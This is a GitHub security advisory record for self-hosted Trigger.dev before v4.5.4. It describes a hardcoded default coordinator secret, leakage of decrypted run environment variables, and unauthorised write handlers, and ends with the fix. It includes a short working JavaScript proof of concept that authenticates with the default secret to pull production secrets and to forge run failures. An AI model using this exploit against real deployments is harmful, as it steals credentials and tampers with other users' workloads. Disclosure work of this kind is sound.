{"id":"GHSA-gg6r-gp4c-89hp","summary":"Trigger.dev: V1 coordinator default-secret unauth Socket.IO","details":"## TL;DR\n\nThe /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret (\"coordinator-secret\") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.\n\n## Vulnerabilities\n\nThis attack is made possible by 3 vulnerabilities in Trigger.dev:\n\n### 1. Hardcoded default authentication secret (CWE-798, Critical)\nPROVIDER_SECRET and COORDINATOR_SECRET are declared with `.default(\"provider-secret\")` / `.default(\"coordinator-secret\")` in [`apps/webapp/app/env.server.ts:289-290`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/env.server.ts#L289-L290). The values are present in the public source repo, neither var is documented in `docs/self-hosting/env/*.mdx`, `hosting/docker/.env.example`, or `hosting/k8s/helm/values.yaml`, and the auth check at [`packages/core/src/v3/zodNamespace.ts:148`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/packages/core/src/v3/zodNamespace.ts#L148) is a plain string compare against that published value\n\n### 2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)\n`READY_FOR_EXECUTION` at [`apps/webapp/app/v3/handleSocketIo.server.ts:123`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/handleSocketIo.server.ts#L123) calls `sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...)`, which at [`apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts#L1881-L1895) returns `payload.environment` as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only `marqs/` code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below\n\n### 3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)\nTASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. `attempt_*` friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id\n\n## Exploit chain / PoC\n\n```js\nimport { io } from \"socket.io-client\";\n\nconst sock = io(\"https://\u003cself-hosted-target\u003e/coordinator\", {\n  auth: { token: \"coordinator-secret\" },\n  transports: [\"websocket\"],\n});\n\nsock.on(\"connect\", () =\u003e {\n  // exfil decrypted env for a known run id\n  sock.emit(\"READY_FOR_EXECUTION\", { runId: \"\u003crunId\u003e\", totalCompletions: 0 }, (res) =\u003e {\n    console.log(res.payload.environment);\n    // { DATABASE_URL: \"...\", STRIPE_SECRET_KEY: \"...\", OPENAI_API_KEY: \"...\", ... }\n  });\n\n  // mark any attempt failed\n  sock.emit(\"TASK_RUN_FAILED_TO_RUN\", {\n    completion: {\n      id: \"\u003cattempt_friendlyId\u003e\",\n      ok: false,\n      error: { type: \"INTERNAL_ERROR\", code: \"FORGED\", message: \"owned\" },\n    },\n  });\n});\n```\n\n## Resolution\n\nFixed in **v4.5.4**. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit `5ba8557a5` (#4236) — including the `/coordinator`, `/provider`, and `/shared-queue` Socket.IO namespaces, `packages/core/src/v3/zodNamespace.ts`, the `marqs` shared-queue consumer, and the `PROVIDER_SECRET` / `COORDINATOR_SECRET` environment variables.\n\nAll three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the `READY_FOR_EXECUTION` env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.\n\n**Affected:** self-hosted Trigger.dev `\u003c 4.5.4`. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).\n\n**Managed cloud (cloud.trigger.dev) was not affected:** it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.\n\n**Action:** self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.","modified":"2026-10-02T22:45:04.329087637Z","published":"2026-10-02T22:39:00Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-02T22:39:00Z","nvd_published_at":null,"cwe_ids":["CWE-200","CWE-798","CWE-862"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-gg6r-gp4c-89hp"},{"type":"WEB","url":"https://github.com/triggerdotdev/trigger.dev/pull/4236"},{"type":"WEB","url":"https://github.com/triggerdotdev/trigger.dev/commit/5ba8557a51533be05f04245b03e1ca975cd57eff"},{"type":"PACKAGE","url":"https://github.com/triggerdotdev/trigger.dev"},{"type":"WEB","url":"https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.4"}],"affected":[{"package":{"name":"trigger.dev","ecosystem":"npm","purl":"pkg:npm/trigger.dev"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.5.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-gg6r-gp4c-89hp/GHSA-gg6r-gp4c-89hp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}